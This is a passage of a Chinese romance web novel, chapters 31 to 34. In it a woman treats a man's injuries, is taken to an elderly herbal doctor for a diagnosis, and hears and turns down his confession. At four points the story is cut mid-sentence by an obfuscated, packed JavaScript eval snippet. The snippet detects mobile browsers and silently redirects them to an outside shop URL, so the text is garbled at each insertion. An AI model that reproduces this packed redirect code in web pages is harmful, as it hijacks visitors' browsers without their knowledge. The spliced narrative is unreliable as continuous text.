孟冬愉将手中的药膏放在他身前的茶几上,俯身将消毒液倒进瓶盖,用棉签沾了沾,而后直起身来看向他:“先涂哪只手?” 从进客厅起,祁清肆的视线就一直落在她身上,一言不发,不知道在想些什么。 直到她开口讲话,他才愣了一下,而后回神过来,乖巧地伸出了左手。 孟冬愉一只手捏着他中间三指的指尖往灯光处拉了拉,另一只手拿着棉签沾到伤口时,又温声提醒:“会有点痛,忍一下。” “嗯。”祁清肆点头,任由着她消毒上药,都没再吱声。 将他的双手都涂好药膏,孟冬愉的视线再次回到他的脸上。 与他视线相交的那一刻,却被他不自然地避开。 孟冬愉用手掌贴了贴他的额头,有些疑惑:“你的耳朵怎么这么红?” 伤口发炎很容易引起高烧,孟冬愉看到他的神色时,担心是不是没及时处理伤口,导致他发烧。 但是探了他的额头,并不烫。 祁清肆偏头躲开她的手,连带着脖颈也开始泛红。 他不自然地咳了声,解释道:“太热了。” 热? 南江已经渐渐入秋,夜晚的温度并不高,哪怕在室内,孟冬愉都还穿着外套。 他身上穿的是件短袖,怎么还会觉得热? 孟冬愉虽然不理解,但也没再多问。 她换了棉签和新的消毒液,打算继续帮他处理脸上的瘀痕。 做事情太过专注有时候也不是一件好事。 孟冬愉只顾着帮他消毒,已经完全忽视了他们两人此刻的姿势和距离。 祁清肆懒洋洋地坐在沙发上,下巴被她捏着抬起,勾着唇角任由她给眉骨处的淤青上药。 只是脖颈上的绯意不受控制般,渐渐攀上了双颊。 处理好一处伤口,孟冬愉目光下移,落到他唇角处时,却听到他笑出了声。 孟冬愉不解,下意识问道:“你笑什么?” 祁清肆噙着笑意的视线在她脸上从上向下扫过,最后停在了她的唇上。 片刻后,他喉结滚了滚,将视线挪回她的眼睛,声音却带着哑意:“孟冬愉,是不是离我太近了点儿?” 孟冬愉闻言顿了一下,这才发现,他们此刻的姿势过于暧昧。 他的腿大喇喇地敞着,而她正站在他的双腿中间。 为了方便查看他的伤口,她弯着腰,与他脸的距离很近。 近到能看清他眼尾那颗平日里不易察觉的淡棕色小痣,能感受到他鼻尖喷薄而出的有些灼热的气息。 他双眼皮的褶皱很深,抬眼看人时,眼皮重叠,多了几分凌厉与痞气。 然而,眼睛微垂时,却带着几分无辜,笑起来又有种深情缱绻的意味。 他此刻依旧被迫仰头,垂眼看着她,眸底不明的情绪被他压着,活脱脱一副受害者形象。 孟冬愉回神过来,松开了捏着他下巴的手,后退一步,将身体与他拉开距离:“抱歉,我没注意。” 方才点的餐食刚好在此刻送达。 祁清肆起身走到门口拎了进来,将饭菜在餐桌上摆好,示意孟冬愉:“过来吃。” 饭菜清淡,小米粥还冒着热气。 早已经饿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174164|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了头,胃部的不适感让孟冬愉没再去想方才的尴尬瞬间,她径直坐了过去。 见祁清肆迟迟没有坐下来的意思,孟冬愉看了看饭菜的分量,明显的两人份,于是抬头问他:“你不一起吃吗?” “你先吃。”祁清肆视线从她的脸上移开,下巴点了点门外,“我出去一下。” 一碗小米粥喝完,都没见祁清肆回来。 孟冬愉起身,出门去看。 门外的长廊上亮着灯,祁清肆倚在墙上,嘴巴浅浅咬住烟蒂,垂头把玩着打火机。 火苗在他手中燃起又熄灭,却始终不去点唇上的那支烟。 不知道在想些什么。 他上次在弯月湖公园说过的话再次浮现在脑海。 孟冬愉拢了拢外套,走了过去:“不开心吗?” “开心。”祁清肆掀起唇角笑了声,将打火机丢进口袋,依旧垂着头没去看她。 他自己说没什么烟瘾,就偶尔不开心的时候才会抽。 可是吃饭前一切都好好的,怎么突然就……? 孟冬愉看着他,执拗地想要问出一个答案:“那为什么想抽烟?” 祁清肆抬眼,眸光直勾勾地落到她的唇上。 片刻后,他垂头叼着烟用牙齿轻轻磨了磨,含糊不清地应声:“就是突然想念尼古丁的味道。” 孟冬愉望着他的口袋,依旧不解:“不是有打火机吗?怎么没点?” 祁清肆哼笑,把烟拿下来丢掉,又恢复了些吊儿郎当,像是在教育她似的:“孟冬愉,抽烟有害健康。” 孟冬愉:“……” 谁不知道抽烟有害健康? 又不是她想抽。 就不该问这么多。 长廊再次恢复了安静,入夜气温渐凉,祁清肆还穿着短袖。 担心他会着凉的想法刚浮上心头,就被孟冬愉猛地扼杀。 她转身离开,想了一下,又提醒道:“去吃饭吧,等下都冷了。” 祁清肆没搭腔,在她身后忽的喊了她的名字,语气带着点欲言又止:“孟冬愉。” 孟冬愉停住脚步,回头看他:“怎么了?” “我……”祁清肆目光沉沉地盯着她看,仿佛有很多的话想和她说。 像喝了酒那晚一样。 话题开了个头又戛然而止,孟冬愉蹙了蹙眉:“什么?” “没什么。”祁清肆摇了摇头,又换了话题,“明天有空吗?” 孟冬愉转身问他:“有什么事吗?” 祁清肆这次没再绕弯子:“想让你陪我去趟医院。” 闻言,孟冬愉下意识脱口而出,语气带着难掩的关切:“你还有哪里不舒服吗?” 祁清肆迅速捕捉到她暴露出来的情绪,眼底染着笑意揶揄:“担心我啊?” 这种一直被人牵着情绪的感觉很不好,孟冬愉没由来地心慌,也下意识想去逃避。 像是知道她的想法一样,没等孟冬愉吱声,祁清肆倒先主动开口解释:“放心,我没有不舒服。” 孟冬愉顺着他问:“那去医院做什么?” 祁清肆勾着唇角,并没给她一个明确的答案:“明天你就知道了。” 31. 外出 孟冬愉第二天早上起床的时候,祁清肆刚好拎着买好的早点回来。 见她下楼,他扬了扬手中的食物,示意她过去:“来吃早饭。” 孟冬愉闻言愣了一下,继而才反应过来,昨晚答应了要陪他去医院。 自从跟着祁振强学艺之后,她早起一般都是先去木雕店和祁振强一起开店,做好陈列和清洁工作后,才去吃饭。 孟冬愉看了眼时间,还不到六点,于是确认般问道:“这么早?” 祁清肆把买来的早餐装盘,而后抬眼解释:“车程比较长。” 南江市中心的医院也就那么几家,满汀洲的地理位置不算太偏,车程再长估计也超不过一个小时。 六点多钟就出发,去到医院医生估计都还没上班。 孟冬愉没将他的话放在心上,想了一下,还是决定按照惯例先去开店。 她指了指门口:“你先吃,我去和师父说一声。” “不用。”祁清肆走去过,视线在她的手上停留瞬间,而后握住她的手腕,拉着她慢悠悠往餐桌方向走,“帮你请过假了。” 帮她请假? 没记错的话,昨晚他昨晚刚和祁振强吵完架。 心思完全在他的话语上,孟冬愉根本没意识到,他拉着她的举动过于亲昵。 若是他的手掌再往下移一点,倒是和牵着手一起走没什么区别了。 孟冬愉任由着他牵着手腕,满心疑惑地去看他:“你什么时候说的?” “刚刚。”祁清肆帮她拉开椅子,下巴点了点餐桌,又懒洋洋补充,“买早饭的时候。” 以他们父子俩昨晚那硝烟四起的情形来看,孟冬愉不太相信刚刚两人能心平气和地交流。 孟冬愉被他按着肩膀坐下去,接着去问:“师父怎么说?” 祁清肆拉了把椅子坐在她旁边,看了她一眼,像是在复述:“他说,身体最重要。” 虽然不太像是祁振强会说出来的话,但是祁清肆神色坦诚,又不像是撒谎。 不知道他去医院到底要干嘛,也不知道他究竟和祁振强说了些什么。 不过他既然已经打点好了一切,孟冬愉没再多问。 陪他去一趟也不是什么大事,权当给自己放一天假。 和祁清肆一起吃了早饭,又简单收拾了一下,孟冬愉和他一起去了车库。 第三次坐他的车,这次车内没像前两次一样,播着一些古典的轻音乐。 而是播了载酒的歌,是她上次送他的那张专辑。 车子驶出一段时间后,祁清肆忽的开口问道:“下首歌想听什么?” 孟冬愉以为他是要切歌,于是摇了摇头:“我都可以,你想听什么直接放就好。” 被误解了意思,祁清肆看了她一眼,解释道:“我是问,如果载酒出新歌,你想听什么类型的?” 载酒的很多歌她都很喜欢,要是让她从所有的歌中挑一首她最喜欢的,也能挑出来。 但如果问她下一首歌想听什么,还真没想过这个问题。 孟冬愉思考了好一会儿,最终也没说到底喜欢什么类型的,只是笼统地答:“他创作的,我都会听。” 祁清肆手指有一下没一下地敲着方向盘,漫不经心地开口:“就那么喜欢他?” 孟冬愉偏头看他:“你不是不喜欢他吗?为什么要和我讨论这个?” 祁清肆哼笑,给了个解释:“好奇,行不行?” 孟冬愉顺着他的话问:“好奇什么?” 祁清肆打着方向盘,转了弯,才再次开口:“好奇你是哪种喜欢,如果他哪天谈恋爱了,你……你们粉丝会不开心吗?” 谈恋爱? 能问出这个问题,可见他确实不是载酒的粉丝。 孟冬愉失笑,而后解释:“他已经结婚了。” “而且他又不是明星,大家喜欢他是因为喜欢他的作品和他的为人。” 祁清肆闻言挑眉:“结婚?” 和一个并不喜欢的自己偶像的异性讲自己偶像的八卦,有些羞耻。 孟冬愉犹豫了片刻,见他十分惊讶,最终还是将知道的消息和他分享:“嗯,很多老粉都说他不露面的主要原因,是他太太不让。” 祁清肆有些好笑地问:“哪里听来的?” 孟冬愉抿了抿唇角:“大家都这么说。” 祁清肆点头,又勾着唇角,悠悠开口:“那你呢?希望他露面吗?” 孟冬愉对他突如其来的问题感到不解:“和我有什么关系?我又不是他太太。” 红灯路口,车子停下,祁清肆直勾勾看着她,语气有些意味深长:“说不定他没结婚呢?” 孟冬愉对上他的视线,和他认真地探讨:“三四十岁的年纪,应该结婚了吧。” “三四十岁?”祁清肆眉心跳了跳,快速捕捉到她话里的重点,而后像是明白了什么似的笑了声,“怪不得。” 车子继续往前行驶,孟冬愉的注意力回到前方的路线上:“不是去医院吗?怎么感觉在往郊外开?” 祁清肆讲话又开始没个正型:“怎么?还担心我把你拐走啊?” 孟冬愉:“……” 知道她不愿意理会,祁清肆又自顾自地补充:“我又不是人贩子。” 孟冬愉疲惫地揉了揉太阳穴:“所以到底要去哪里啊?” 祁清肆依旧不肯直面回答,他将车内音乐调成轻音乐,又将座椅上的加热按摩功能调了出来:“睡会儿。” “到了就知道了。” 提到睡觉,孟冬愉下意识掩唇打了个哈欠:“还有很远吗?” 祁清肆看了眼前置玻璃上的HUD导航,给了她一个大致的答案:“一个多小时。” 孟冬愉也懒得再去问究竟要去哪里,毕竟相处了那么久,以他的为人来看,他也不可能是个人贩子。 昨晚睡得本就晚,今天又一大早起来,确实很困。 只是昨天祁清肆睡得也晚,今早比她起得更早,会不会更困? 疲劳驾驶是很危险的,孟冬愉有些担忧地问:“你困吗?” “困。”祁清肆想都没想就勾着唇角应声。 困还起那么早? 孟冬愉稍稍酝酿出来的困意消散,生怕他一个瞌睡,两个人一起完蛋。 她坐直身体:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182990|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还是陪你说话吧。” 祁清肆看了她一眼,唇角的笑意难压,几乎是脱口而出:“孟冬愉,你有时候还挺可爱的。” 孟冬愉:“?” “是褒义词吗?” “嗯。”祁清肆反应过来后不自然地应了声,没再去看她,“不用陪我,你睡你的。” 孟冬愉这次完全不敢听他的:“你不是困吗?” 祁清肆下巴点了点她身前的储物抽屉,将意图再次展露:“薄荷糖提神,你帮我剥一颗。” 孟冬愉在老位置找到了那袋薄荷糖,从中捏了一颗出来,递给他。 祁清肆没接:“不能帮我剥好吗?” 孟冬愉无奈地把糖纸拆开,再次递给他。 祁清肆还是没接:“手抬高一点,我够不到。” 孟冬愉:“?” “还要我喂你吗?” 知道了她不愿意再近一步,祁清肆勾起唇角笑了声,快速俯身凑过去将她手中的糖咬走:“开着车呢,腾不出手。” 祁清肆将糖咬碎,看着心情不错:“谢了。” 孟冬愉的手指僵了僵,不知是被他突如其来的举动吓到了还是怎么样,心脏开始“扑通扑通”地剧烈跳动。 明明他顺手接过去填进嘴里,比像这样低头去咬要更快也更安全一点。 可他偏偏要从她手里吃。 脑海中再次浮现出昨晚帮他涂药时的场景。 孟冬愉忽的感觉脸颊有些发烫。 这很不正常。 她的异常被祁清肆迅速捕捉到,他将车停在路边,视线锁定在她的脸上,眼底的笑意仿佛要溢了出来。 孟冬愉将头侧向车窗,没去看他,装作不经意地问道:“怎么停车了?” 祁清肆没回答,勾着唇角不疾不徐地将她拆穿:“孟冬愉,就喂我一颗糖,怎么还脸红了?” “不是——”孟冬愉试图解释,张了张口却发现找不到借口。 心绪被扰乱,她最后逃避般闭了眼:“困了,我睡了。” 祁清肆也没有非要得到什么答案,他盯着她看了片刻,随手捞过后座的外套搭在她身上,而后再次启动车子。 孟冬愉在适宜睡觉的氛围中真的睡了过去,醒来时已经到了目的地。 车子停在一个农家小院门口,祁清肆上前去敲了敲门。 一位二十多岁的女生过来开了门,她看了眼门外的两个人,疑惑地问道:“你们找谁?” 祁清肆神态里没有往日的懒散,反而多了几分庄重:“温济民温老先生是住这里吗?” 女生点头,依旧没有开门迎客的意思:“爷爷是在这里住,你们是来看病的吗?” “那你们可能要白跑一趟了,爷爷年纪大了,现在已经不出诊了。” 祁清肆抬了抬手中的字画,终于将此行的目的讲了出来:“我们是温承卿的朋友,来这里是想拜访一下温老先生,顺便想请他帮忙诊下脉。” 女生闻言有些为难地挠了挠头:“不好意思啊,昨晚大哥刚打了电话过来,我们没听他提起过这件事情。” “要不,你再打个电话和他确认一下?” 32. 就诊 祁清肆心底了然,他咬着牙地点了点头,而后看向孟冬愉:“有温承卿的联系方式吗?” 和温承卿共事了好些天,联系方式肯定是加了的。 只是孟冬愉依旧没搞清楚状况,她看向祁清肆确认道:“我来打吗?” 祁清肆面色有些不爽:“嗯,我没他电话。” 没电话还自称朋友来拜访? 孟冬愉越发弄不清楚他在搞些什么。 不过眼看着他也没有要离开的意思,孟冬愉掏出手机,在通讯录找到温承卿的电话点了拨通。 电话打了出去却听不到声音,反复确认了好几次才发现是手机故障。 昨晚孟冬愉打电话报警的时候,手机被黄毛夺过去摔了一下。 她事后捡了起来检查过,屏幕虽然碎了一个角,但是各种显示功能都正常。 如果不是今天打电话,根本不会发现通话功能出了问题。 一个没有朋友的电话号码,另一个有电话号码偏偏手机出了问题打不通。 门口的女生对祁清肆的话更加怀疑,神色中也多了几分警惕。 场面一时间有些窘迫。 孟冬愉抿了抿唇角,将屏幕上温承卿的号码递到祁清肆面前:“用你的手机打吧。” 祁清肆将电话拨了过去,扬声器里的机械音却冷冰冰地提醒您拨打的电话正在通话中。 不知道是真在通话中还是故意挂断了。 三人六目相接,尴尬的氛围无声蔓延。 门口探头的女生仿佛看穿了一切,讲话的语气也开始公式化:“南江人杰地灵,能出诊的名医也有很多。” “爷爷年纪大了,精力不济,你们还是请回吧。” 孟冬愉看向祁清肆,等着他做出决定。 祁清肆哼笑,依旧坚持,像是笃定今天不会空手而归一样:“来都来了。” 片刻后,一道年迈的男声从门内传来:“温婉,你大哥方才打了电话,说有朋友来,是在门口吗?” “大哥给您打电话了?”被称为温婉的女生闻言回头应声,得到了准确的答复后,才将大门拉开。 一位老者拄着拐杖出了门,视线在祁清肆身上打量了片刻,又来到孟冬愉身上。 他捋了捋胡子,笑得和蔼:“你就是承卿的师妹吧?” 见老者主动和她搭了话,孟冬愉礼貌地点头承认:“嗯。” 温济民再次看向祁清肆,话却是问孟冬愉的:“这小伙子是你的男朋友?” 这次没等孟冬愉解释,祁清肆就抢先开了口。 他像是极力在撇清关系似的,面无表情地吐出两个字:“不是。” 温济民满意地点了点头,看着孟冬愉意味深长地解释道:“承卿这孩子心气儿高,还没见过他为了什么姑娘,特意给我打电话。” 孟冬愉愣了一下,有些惊讶:“为了我?” 她多少听明白一点温济民话里的意思。 可是她明明是陪着祁清肆过来的,怎么到了最后她成了关键人物? 温济民一点没卖关子,将温承卿的话全盘托出:“他电话里说你身体不太舒服,想请我帮忙瞧瞧。” “我身体不舒服?”孟冬愉指了指自己,依旧一脸没搞清楚状况的模样。 她视线落到祁清肆手中的画上,再次确认:“不是你要来拜访温爷爷的吗?” 祁清肆不置可否。 “不用解释那么多,我都懂。”温济民笑着将他们此行的借口戳穿,“你们千里迢迢过来,难不成还真是来探望我一个糟老头子的?” 心底的疑问渐渐得到了答案。 孟冬愉摇头,试图为自己辩解:“我身体还好。” “好不好等会儿诊完脉就知道了。”温济民哈哈笑了两声,没再多说什么,而后转身叮嘱身后的温婉,“你带他们进来坐坐,我先去把鸟喂了。” 温婉一边带着两人进门,一边解释道:“抱歉啊,刚刚是我误会你们了。” “这几年有很多人冒充我们亲眷的邻居或者朋友,来找爷爷帮忙诊脉,甚至有一些人拿着爷爷开的药方在外面高价卖钱。” “我们真的深受其扰,所以不得不谨慎些。” 孟冬愉礼貌回应:“没关系,确实是我们唐突。” 温婉看了眼孟冬愉,沉默了片刻,又换了话题:“温……大哥他……最近还好吧?” 不是说他们昨晚不是刚打过电话吗? 为什么来问她一个外人? 孟冬愉不知道该怎么回答,最后只是点了点头:“嗯。” 将他们带到客厅,温婉去沏了壶茶,而后又拿了样东西递给孟冬愉:“姐姐,能不能麻烦你帮我把这个带给大哥?” “听闻他手受了伤,这祛疤的药膏是我亲手调的,他应该用得上。” 本就是随手的事情,更何况温承卿的手还是因她受的伤。 孟冬愉应下,将温婉递来的那盒药膏放进包中。 温济民很快回来,喊温婉拿着他的医药箱,让她带着孟冬愉一起去他的书房。 祁清肆全程没怎么讲话,跟着她们一起进去。 像是他要去看医生似的,神色似乎还有些紧张。 温济民见祁清肆进来,摸了摸胡子,例行公事般提醒孟冬愉:“有些问题会涉及到你的隐私,介意那小伙子在场吗?” 是他带她来的,总不能这么不留情面地将他赶出去。 孟冬愉闻言看了眼祁清肆,而后摇了摇头:“没事的。” 温济民没再多问,手指搭在她的脉搏上后,脸色却变了又变。 双手都切完脉,温济民连着叹了好几口气,才缓缓开口:“年纪轻轻的,怎么把身体糟蹋成这样?” 孟冬愉抿了抿唇角,没吱声。 这些年来,身体上有个小病小痛的,她都习惯性忍着。 总觉得不是什么大毛病,忍一忍就好了。 说到底,也还是有点讳疾忌医的意思。 知道孟冬愉不愿意回答,温济民一点点地将她身体的毛病讲了出来:“宫寒、瘀湿重、肾虚、脾胃弱、气血不足,是不是还容易失眠多梦?” 孟冬愉摇了摇头,试图否认:“还好。” “你们这些年轻人啊,一个个的也不知道在想些什么。”温济民无奈地摇头,“身体是本钱,也撒不了谎。” 祁清肆看了眼孟冬愉,替她问道:“能调理吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199973|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好些都是从小就落下的病根。”温济民再次叹了口气,看着祁清肆接着说,“没个三年五载,她这身体恐怕难调理好。” 从小就落下的病根。 这句话像是一道锋利的剑,猛地刺穿她的心脏。 她试图隐藏的那些难堪,一时间无所遁形。 孟冬愉本能地想要去逃避,她攥紧了手指,强装镇定:“麻烦您了温老先生,我真觉得自己没什么问题,不用调理的。” 话说完,她转身离开,却被祁清肆拦住了去路。 祁清肆略带歉意地朝温济民点头,语气坚持:“抱歉,麻烦您给她开药方吧。” 见祁清肆还算明智且冷静,温济民摆了摆手表示自己没放在心上,而后继续进入正题:“这些毛病同时用药剂量太大,她这身体吃不消。” “想先从哪方面调理?” 祁清肆想都没想,就径直开口:“她生理期不准,还痛。” 温济民再次抬起视线去打量他,摸着胡子笑:“你这话说得挺像她亲属。” 祁清肆顿了一下,马上张口就要解释,却被温济民拦了下来:“行了,你们年轻人之间的恩怨,你们自己解决。” 温济民一边低头写字,一边补充:“我虽是承卿的爷爷,但也没到替他争抢什么的地步。” 拿到了药方,又听温济民讲了些注意事项,祁清肆将手中的字画递了过去。 温济民没接:“这像什么话?” 祁清肆解释:“不值什么钱,只是晚辈们的一点心意。” 温济民向来喜爱收集一些古玩字画,见祁清肆态度诚恳,又坚持要送。 他拗不过他,最后还是收了下来。 回去路上,孟冬愉望着窗外,许久之后,才开口问道:“所以,你一开始让胡杭帮忙问调理身体的中医,就是为了我吗?” 祁清肆打着方向盘,坦荡应声:“嗯,除了你以外,我也没别的异性朋友。” 孟冬愉没注意他的后半句话,只是接着问:“你怎么知道温师兄的爷爷是……” 祁清肆没等她问完,就给了解释:“胡杭给我的那张名单上,第一个中医也姓温。那天吃饭听温承卿的师弟提了一嘴,就找温承卿确认了一下。” 所以那天吃饭时他们突然出去聊,就是聊这个吗? 今天发生的一切都好像有迹可循,但孟冬愉的脑子却如同一团乱麻。 有太多的问题想要问清楚,却又不知道从何问起。 她蜷了蜷手指:“为什么不直说是带我来看医生?” 祁清肆挑眉看她,话问得直白:“直说了你会愿意来?” 说实话。 她肯定是不会愿意的。 孟冬愉被他堵得哑口无言,再次转头看向窗外。 沿途的风景逐渐从不知名的野花野草,转变成修建规整绿化带。 去时和回时的视野不同,心境也截然不同。 孟冬愉的脑子像突然开窍了一样。 她笃定般问道:“你当初包揽温师兄的饮食,也是为了替我还人情吧?” 没等他应声,孟冬愉看着他,再次开口:“祁清肆,你为我做这么多,图什么呢?” 33. 图谋 知道她生理期会痛,他就默默找胡杭帮忙推荐中医,知道她肠胃不舒服,就变着花样去做那些清淡的菜。 甚至为了不让她发现端倪进而心怀欠意,还会故意找借口隐瞒。 明明才认识没多久,可他却好像认识了她很久一样。 能够准确地读懂她心里的想法,能够听出她话里的隐喻。 明明是只是房东与租客的关系,他却以朋友之名,让她心安理得地去接受他的那些付出。 可是就算是至交好友,也没有多少人能像他一样,把朋友做到这种份上。 他默默无闻地为她做了那么多事情,却从来没有向她索取过任何回报。 哪有人会无条件对一个人好? 他做这些,总要图点什么。 孟冬愉攥紧手指,将问题抛给他,心底却莫名带着点难以言喻的期待。 她不知道自己究竟在期待些什么,可是心脏就好像不受控制一样,为他接下来的话而紧张。 祁清肆将车停在路边,沉黑的眼睛盯着她看,半晌后才开口:“孟冬愉,你觉得我图什么?” 每次都是这样。 明明是她在问他,他却总是要反问回来,把问题又抛给她。 读书时,有人为了考试不挂科,会和她交朋友,去借她的课堂笔记或者让她帮忙补习功课。 工作时,有人为了晋升或者得到领导赏识,也会和她交朋友,想让她帮忙改一改策划方案或者蹭一蹭她的项目红利。 这些人带着明确的意图和她交好,她也能够精准识别。 就连她那个前男友,前期对她倾尽温柔,最后也不过是为了利用她往上爬。 哪怕他隐藏得再好,相处过程中,她多少能感觉出来他的野心,只是当时沉浸甜言蜜语中,知道他有所图,还是出手帮衬了不少。 至于祁清肆,她看不出来他到底图些什么。 可能是见她长久不讲话,祁清肆再次打破了车内的安静:“我说我什么都不图,你信吗?” 孟冬愉闻言摇头:“不信。” 她已经没办法再自欺欺人般安慰自己,说他做这些事情只是因为他本身就是一个很好的人。 祁清肆的视线依旧定格在她的脸上:“那你信什么?” “或者说,你想听我说什么?” 心底莫名的期待感又被拆穿,这种被人拉扯情绪的感觉,一点都不好。 孟冬愉没再将这个话题继续下去,又换了个问题问他:“你真的只把我当朋友吗?” 祁清肆还是没有直接给她答案,而是问道:“听真话还是假话?” 孟冬愉抿唇:“真话。” 祁清肆捕捉到她的视线,与她对视,语气没有任何起伏:“不是。” 心里开始没由来地慌乱,孟冬愉也在这一瞬间明白了自己到底在期待些什么。 她绷直了后背,手心也开始冒汗,张了张口,却不知道接下来要怎么问:“那你……” 祁清肆终于笑了下,语气却略带自嘲:“我演技那么拙劣,说的话破绽百出。” “就算再不聪明,也该看得出来,我对你什么想法了吧?” 谜底被他揭开。 孟冬愉心底却没有一丝该有的惊讶,甚至还有一些说不上来的酸涩。 就像他说的,再迟钝的一个人,面对他所做的种种,也该意识到了。 眼前的迷雾被拨开,她也终于能够再次去剖析自己。 归根结底,是她一直贪恋他给予的那些温暖,怕这层窗户纸戳破之后,她就不会再有一个合理的身份,去享受这一切。 所以他给出一点理由,她就本能地去说服自己,麻木地去相信他那些拙劣的借口。 孟冬愉抬眼看他,想再次从他那里得到一个答案:“喜欢我什么?” 她孤僻又木讷,比她漂亮又比她性格好的女生也有不少。 她遇到过很多因为见色起意而靠近她的人,最终都在了解到她的冰山一角后就退却。 她也一次又一次地推开过他,他为什么还要坚持下去,还会喜欢她? 祁清肆不答反问,又将话题扯回到最初的问题上:“那你浪费时间策划一场手工体验活动,图什么?” 像是不需要她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214863|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答一样,祁清肆接着问:“你帮祁振强的店铺起死回生,真的只是为了让他对你改观吗?” “你义无反顾地去维护载酒,又是喜欢他什么?” 明明是毫无关联的几个问题,孟冬愉却一瞬间明白了他要表达的意思。 她垂下头去,鼻尖有些泛酸。 祁清肆叹了口气,一字一句地说:“别总把自己想得那么糟糕,也别总是从别人的认可中汲取自信。” “你就算做你自己,也会有人喜欢你,包括我。” 不能再继续下去了。 想要逃避的想法再次冒了出来。 孟冬愉掐了掐掌心,没抬头:“我说过的,我对你没兴趣。” 态度突然的转变,迫使祁清肆顿了一下。 他视线落在她泛红的掌心上,出声提醒,带着点激将的意思:“孟冬愉,拒绝人也得真诚一点吧?” 孟冬愉强装镇定地抬起头来,对上他的目光:“你是一个很好的……” 话没说完,就祁清肆打断,他直勾勾地盯着她:“真对我没意思吗?” “我……”孟冬愉下意识地避开了视线,她抿了抿唇角,而后坚持,“没有。” 祁清肆收回目光,手指剐蹭着方向盘,神色有一丝失落。 片刻后,他点头:“行。” 孟冬愉接着去说方才没说完的话:“你是一个很好的人,也会遇到一个真正喜欢你的人。” 祁清肆咬着牙笑:“借你吉言。” 见他没再纠缠下去,孟冬愉心底松了口气:“如果你介意的话,我这几天可以搬走。” 祁清肆有些好笑地看向她:“我介意什么?” 窗户纸被捅破,他们之间就不能再当做什么都没发生过一样,继续相处下去。 是她介意。 是她想要躲得远远的。 是她害怕自己再沉溺下去。 心思再次被他看穿,孟冬愉摇了摇头,给自己找了个借口:“我不想对你造成困扰。” “不用躲我。”祁清肆自嘲地扯了扯唇角,神色落寞,“我不是死缠烂打的人。” 34. 委屈 车子再次启动,接下来一路无言。 祁清肆将车子停在了满汀洲附近的一家手机直营店门口,依旧什么都没说。 孟冬愉知道他的意思,于是下了车:“谢谢,你先回去吧,不用等我了。” 祁清肆淡淡“嗯”了一声,而后发动车子从她眼前离开。 手机屏幕碎了一个角不影响正常使用,但是通话功能异常确实有些麻烦。 孟冬愉进去,将手机递给工作人员,讲清楚问题和诉求。 售后的工程师将她的手机里里外外检查了一遍,说是主板问题,需要拆机维修。 而且她手机型号有些老,配件需要从总部订购,也就是说维修需要很长时间。 孟冬愉对手机的性能要求不高,日常用的软件也就那么几个,能通话和聊天就行。 这个手机已经用了好几年了,她权衡了一下,最终决定换新手机。 挑选好款式型号,工作人员按照惯例问她需不需要帮忙将旧手机的资料传输过来。 孟冬愉点头,看着工作人员操作,但是有一部分资料总是显示传输失败。 工作人员发现了问题,问她是不是换了微信账号,并耐心提醒如果旧账号的内容想要导过来的话,得在旧手机上再登一下。 孟冬愉这才想起来,自从离职之后,她那个工作微信就没登上去过。 但那个账号里确实有很多东西要留着,于是孟冬愉再次登上了那个微信。 消息提示音一个接一个传来。 大多是她前同事在她离职后的那几天发来的。 有请她帮忙的,也有抱着吃瓜心态问她怎么回事的,也有阴阳怪气泼她冷水的。 在职时一个和她关系比较好的同事向她吐槽—— 【冬愉姐,你不知道,自从你走了之后,每次大区的周例会,市场总监都被骂得狗血淋头。】 【新来的市场经理又是个什么都不懂的关系户,我们区的项目组没少跟着挨骂,现在我们都特别怀念你在岗的时候。】 【还有,你那个前男友钱曾也真够死皮赖脸的,绩效背了C,为了不被优化掉,天天坚持在领导面前献殷勤。】 【当初怎么就没发现他这副嘴脸?现在我们组的人快烦死他了。】 …… 孟冬愉将她发来的消息翻了一半,实在没了耐心再继续看下去。 她一个已经离职的人,也没什么兴致再去关心前司的情况。 她退出聊天界面,再往下划,是幻宙游戏的市场部负责人给她发来的消息—— 【姐妹,去哪儿高就啦?还负责MKT这块吗?】 【上次没合作成真的很遗憾,你看看咱们还有合作的机会不?】 合作? 孟冬愉脑海中一个念头一闪而过。 